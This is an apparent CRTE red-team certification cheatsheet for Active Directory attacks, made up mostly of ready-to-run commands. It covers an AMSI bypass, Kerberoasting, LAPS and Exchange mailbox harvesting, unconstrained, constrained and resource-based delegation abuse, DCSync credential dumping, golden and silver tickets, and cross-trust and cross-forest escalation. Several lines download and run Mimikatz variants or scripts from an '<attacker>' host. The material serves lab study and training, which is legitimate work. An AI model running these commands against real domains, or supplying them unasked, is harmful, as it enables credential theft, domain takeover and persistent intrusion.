CRTE cheatsheet

TOC

Setup

- Invisi-Shell
  Build project and put profiler in same folder as .bat files

With admin context

```
RunWithPathAsAdmin.bat
```

Without admin context

```
RunWithRegistryNonAdmin.bat
```

AMSI bypass ⇒ amsi.fail

Copy paste bypass in PS session

AD-module

```
Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose
Import-Moudle C:\ADModule\ActiveDirectory\ActiveDirectory.psd1
```

PowerView
Docs: https://powersploit.readthedocs.io/en/latest/

```
. .\PowerView.ps1
```

Note: Don't load AD module and PowerView at the same time to avoid conflicts

Trust enum

List all trusts (parent/child, root, etc.) and types (bidir, etc.) from current forest AND from forests with trusts

PowerView

```
Get-ForestTrust -Forest <root domain>

Get-DomainTrust -Domain <domain>
```

Forest enum

List all forests from Trust enum to get domains

PowerView

```
Get-Forest -Forest <root domain>
```

Domain enum

PowerView

```
Get-Domain -Domain <domain>
```

User, group, OU, GPO, ACL, Computer enum

List users, groups, OU's, GPO's, ACL's and Computers of all domains from Forest enum

PowerView

```
# All users
Get-DomainUser -Domain <domain>

# Outgoing access users
Get-DomainForeignUser -Domain <domain>

# Incoming access users
Get-DomainForeignGroupMember -Domain <domain>

# All groups
Get-DomainGroup -Domain <domain>
```

```
# Restricted groups
Get-DomainGPOLocalGroup -Domain <domain>

# All OU's
Get-DomainOU -Domain <domain>

# All GPO's
Get-DomainGPO -Domain <domain>

# All ACL's of domain objects
Get-DomainObjectAcl -Domain <domain>

# All Computers
Get-DomainComputer -Domain <domain>

# Get computer in specific OU
(Get-DomainOU -Identity <ou>).distinguishedname | %{Get-DomainComputer -SearchBase $_}
```

Current user

```
Get-DomainGroup -MemberIdentity 'studentuser15'

# For each
Get-DomainGroup -Identity <group name>

# For user + for each group/ou of user
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "
<user/group/ou>"}
```

Create map

1. Create layout of forest, domains, computers and all the trust relationships
2. List OU's with computers
3. List OU's with groups and users

Local privesc

PowerUp

- Docs: https://powersploit.readthedocs.io/en/latest/Privesc/

```
Invoke-AllChecks
```

BeRoot

- Docs: https://github.com/AlessandroZ/BeRoot/tree/master/Windows

```
beRoot.exe
```

- Privesc

```
Invoke-Privesc
```

Lateral movement

Restricted group

Requirement: permission to add object to restricted group

```
# Add to group
Add-DomainGroupMember -Identity <restricted_group> -Members <user> -Verbose

# Log off & log on
Get-DomainGroup -MemberIdentity <user> | select distinguishedname

# Clear tickets
klist purge

# Connect to server
winrs -r:<server> cmd

# or

$srv = New-PSSession <server>
Enter-PSSession $srv
```

⇒ Enum group permissions for restricted group (ITERATIVE process)

Kerberoast (AS-REQ)

```
Get-DomainUser -SPN

# https://github.com/GhostPack/Rubeus#kerberoast
Rubeus.exe kerberoast /user:<user> /outfile:<output_file>

john.exe --wordlist=<wordlist> <hashes>
```

AS-REP roast

```
Get-DomainUser -PreauthNotRequired

Get-DomainUser -UACFilter DONT_REQ_PREAUTH
```

Targeted kerberoast

Requirement: GenericWrite/GenericAll DACL over object

```
Set-DomainObject -Identity <target_user> -SET
@{serviceprincipalname='nonexistent/BLAHBLAH'}

# set back
Set-DomainObject -Identity <target_user> -Clear serviceprincipalname
```

LAPS

```
Import-Module <AD-module>

Import-Module <AdmPwd.PS.psd1>

.\Get-LAPSPermissions.ps1

Get-DomainComputer -Searchbase "OU=xxx,DC=yyy,DC=zzz"

Get-AdmPwdPassword -ComputerName <computer>
```

Exchange

```
. .\Mail_Sniper.ps1

Get-GlobalAddressList -ExchHostname <mail_server> -exchange -UserName <user> -password <pw>
-Verbose

# copy list to text file

Invoke-OpenInboxFinder -EmailList <mail_list.txt> -ExchHostname <mail_server> -Verbose

Invoke-SelfSearch -Mailbox <email_address> -ExchHostname <mail_server> -OutputCsv mail.csv

type mail.csv
```

```
# Run cmd in context of new user
runas /netonly /user:<user> cmd.exe

# Run Invishell
RunWithRegistryNonAdmin.bat

# Find local admin access
.\Find-PSRemotingLocalAdminAccess
Find-PSRemotingLocalAdminAccess -Verbose
```

ACL abuse

```
```

Domain privesc

Unconstrained delegation

NOTE: do this for current domain and for parent domain (DC of parent) ⇒ privesc to enterprise admin

```
Get-DomainComputer -Unconstrained
```

Run shell in context of target or user with permissions on target (or inject ticket in current session)

```
SafetyKatz.exe "sekurlsa::pth /user:<user> /domain:<domain> /aes256:<hash> /run:cmd.exe"
"exit"

# Or

Rubeus.exe asktgt /domain:<domain> /user:<user> /aes:256:<hash> /opsec
/createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

```
net use x:\\<server>\C$\Users\Public
xcopy C:\AD\Tools\Rubeus.exe x:\Rubeus.exe
net user x: /d

winrs -r:<server> cmd

# Run rubeus in monitor mode for target (e.g. DC)
C:\Users\Public\Rubeus.exe monitor /targetuser:<SERVER>$ /interval:5 /nowrap
```

Locally

```
MS-RPRN.exe \\<target> \\<server_with_unconstrained_deleg>
```

Copy base64 ticket and inject in new cmd

```
Rubeus.exe ptt /ticket:<base64_ticket>
```

Run DCSync attack on user (e.g. krbtgt, Administrator, etc.)

```
SharpKatz.exe --Command dcsync --User <user> --Domain <domain> --DomainController <dc>

SafetyKatz.exe "lsadump::dcsync /user:<user> /domain:<domain>" "exit"

BetterSafetyKatz.exe "lsadump::dcsync /user:<user> /domain:<domain>" "exit"
```

Constrained delegation

```
Get-DomainUser -TrustedToAuth

Get-DomainUser -Identity <user> -Properties samaccountname,msds-allowedtodelegateto
```

example:

- msdsspn: `CIFS/<server>`
- altservice: `HTTP`

```
Rubeus.exe s4u /user:<user> /aes256:<hash> /impersonateuser:administrator /msdsspn:xxx
/altservice:yyy /domain:<domain> /ptt
```

Resource-base constrained delegation (RBCD)

Requirement: GenericWrite/GenericAll DACL on object

1. Import AD module
2. Set `PrincipalAllowedToDelegateToAccount` on server

```
Set-ADComputer -Identity <server> -PrincipalAllowedToDelegateToAccount '<user>' -Verbose
```

3. Get studentuser15's System user hash (SID=S-1-5-18)
4. Use Rubeus to do S4U for `http`
   In new admin prompt

```
Rubeus.exe s4u /user:<system_user>$ /aes256:<system_user_hash> /msdsspn:http/<server>
/impersonateuser:administrator /ptt
```

5. `klist` to check ticket
6. winrs

ADConnect

```
Get-ADUser -Filter "samAccountName -Like 'MSOL_*'" -Server techcorp.local  -Properties * |
select SamAccountName,description | fl

xxx
```

On server with ADConnect

```
Loader.exe -path http://<attacker>/SafetyKatz.exe "sekurlsa:ekeys" "exit"
```

Run Invisi-shell on ADConnect server

```
iex (New-Object Net.WebClient).DownloadString('http://<attacker>/adconnect.ps1')
```

Locally

```
runas /user:<root_domain>\MSOL_xxxxxx /netonly cmd

# run Invisi-shell

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"lsadump::dcsync /user:<root_domain>\Administrator /domain:
<root_domain>"'
```

Domain persistence

Golden ticket

/sid: xxx ⇒ domain SID
/krbtgt:xxx ⇒ krbtgt NTLM hash (use /aes128 or /aes256 for AES hashes)
/id:xxx ⇒ optional user RID (default 500)
/groups:xxx ⇒ optional group (default 513 512 520 518 519)
/startoffset:xxx ⇒ optional when ticket is available (default 0)

/endin:xxx ⇒ optional ticket lifetime (default 10 years)
/renewmax:xxx ⇒ optional ticket lifetime with renewal (default 7 days)

```
BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:<domain> /sid:xxx
/aes256:xxx /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"
```

```
xcopy Loader.exe \\<dc>\C$\Users\Public\Loader.exe

winrs -r:<dc> cmd

C:\Users\Public\Loader -path http://<attacker>/SafetyKatz.exe "lsadump::lsa /patch" "exit"
```

Silver ticket

```
SafetyKatz.exe "kerberos::golden /User:Administrator /domain:<domain> /sid:<domain_sid>
/target:<server>.<domain> /service:<service> /rc4:<service_acc_hash> /id:500 /groups:512
/startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"
```

msDS-AllowedToDelegateTo

```
Set-ADUser -Identity devuser -ServicePrincipalNames @{Add='dev/svc'}
Set-ADUser -Identity devuser -Add @{'msDS-AllowedToDelegateTo'= @('ldap/us-dc','ldap/us-
dc.us.techcorp.local')} -Verbose

Set-ADAccountControl -Identity devuser -TrustedToAuthForDelegation $true

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-
AllowedToDelegateTo
```

Cross trust attacks

Exchange

Trustkey

In process as domain admin

```
Loader.exe -path http://<attacker>/SafetyKatz.exe "lsadump::trust /patch" "exit"
```

⇒ Look for `[IN]`

Create inter-realm TGT with trust key hash

```
BetterSafetyKatz.exe "kerberos::golden /domain:<current_domain> /sid:<current_domain_sid>
/sids:<parent_domain_enterprise_admin_sid> /rc4:<trustkey_ntlm> /user:Administrator
/service:krbtgt /target:<parent_domain> /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"

# OR

BetterSafetyKatz.exe "kerberos::golden /domain:<current_domain> /sid:<current_domain_sid>
/sids:<parent_domain_enterprise_admin_sid> /aes256:<trustkey_aes256> /user:Administrator
/service:krbtgt /target:<parent_domain> /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"
```

Reqest TGS for CIFS on parent DC

```
Rubeus.exe asktgs /ticket:C:\AD\Tools\trust_tkt.kirbi /service:CIFS/<parent_dc>.
<parent_domain> /dc:<parent_dc>.<parent_domain> /ptt
```

Access techcorp-dc's filesystem

```
dir \\<parent_dc>.<parent_domain>\C$
```

Inter-realm TGT with Enterprise Admins SIDHistory

Create inter realm TGT with SID history set to Enterprise Admins
sid: sid current domain
sids: sid of enterprise admin group of parent domain
krbtgt: krbtgt NTLM hash of current domain

```
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:
<current_domain> /sid:<current_domain_sid> /sids:<parent_domain_enterprise_admin_sid>
/krbtgt:<current_domain_krbtgt_ntlm_hash> /ptt" "exit"
```

Cross-forest unconstrained delegation

Works for unconstrained delegation server in currents domain

Copy Rubeus to target

```
SafetyKatz.exe "sekurlsa::pth /user:<user> /domain:<domain> /aes256:<hash> /run:cmd.exe"
"exit"

# Or

Rubeus.exe asktgt /domain:<domain> /user:<user> /aes:<hash> /opsec
/createnetonly:C:\Windows\System32\cmd.exe /show /ptt
```

```
winrs -r:<target> cmd
```

Run rubeus in monitor mode

```
Rubeus.exe monitor /targetuser:<SERVER>$ /interval:5 /nowrap
```

Abuse MSRPRN (printer bug)

```
MS-RPRN.exe \\<other_server>.<other_domain> \\<unconstrained_deleg_server>.<current_domain>
```

Inject ticket

```
Rubeus.exe ptt /ticket:<base64_ticket>
```

DCSync attack

```
SharpKatz.exe --Command dcsync --User <other_domain>\krbtgt --Domain <other_domain> --
DomainController <other_dc>.<other_domain>

# OR

SafetyKatz.exe "lsadump::dcsync /user:<domain>\krbtgt /domain:<other_domain> /dc:
<other_dc>.<other_domain>" "exit"
```

Cross-forest constrained delegation

Enum in other forests

```
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Server eu.local -Properties
msDS-AllowedToDelegateTo
```

Get ticket for user in other forest

```
Rubeus.exe s4u /user:<user> /rc4:<hash> /impersonateuser:Administrator /domain:
<other_domain> /msdsspn:nmagent/<other_dc>.<other_domain> /altservice:ldap /dc:<other_dc>.
<other_domain> /ptt
```

DCSync attack

```
SharpKatz.exe --Command dcsync --User <other_domain>\krbtgt --Domain <other_domain> --
DomainController <other_dc>.<other_domain>

# OR

SafetyKatz.exe "lsadump::dcsync /user:<domain>\krbtgt /domain:<other_domain> /dc:
<other_dc>.<other_domain>" "exit"
```

Cross-forest trustkey

Extract trust key (= Hash NTLM when running dcsync on system account)

```
BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:<other_domain> /sid:
<current_domain_sid> /krbtgt:<current_domain_krbtgt_ntlm_hash> /ptt"

lsadump::dcsync /user:<other_domain>\<system>$ /domain:<other_domain>
```

(optional others)

```
"lsadump::trust /patch"
"lsadump::dcsync /user:us\techcorp$"
"lsadump::lsa /patch"
```

Copy Rubeus

```
```

Get Enterprise SID of target domain

```
```

Forge inter-realm TGT

```
```

Get TGS for service on target domain

```
```